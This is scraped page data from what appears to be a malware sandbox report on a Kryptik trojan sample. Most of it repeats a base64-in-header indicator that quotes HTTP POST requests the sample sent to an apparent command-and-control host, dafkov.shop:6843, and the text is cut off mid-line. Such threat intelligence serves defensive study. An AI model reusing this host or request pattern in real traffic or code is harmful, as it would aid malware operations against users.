26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4da,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Kryptik.HZHD trojan Sample 89b1b3c8ccdc… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 89b1b3c8ccdc…. Malware family: Kryptik.HZHD trojan. Threat score 100/100. 1/28 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b","keywords":["Malicious","Kryptik.HZHD trojan","malware analysis","sandbox report","threat intelligence","89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b"],"about":{"@type":"SoftwareApplication","name":"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Kryptik.HZHD trojan","antivirusDetections":{"malicious":1,"total":28},"behavioralIndicators":{"malicious":5,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T83fd,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "w1u1TZDm0TgwUser" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=w1u1TZDm0TgwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "data" in header "POST / 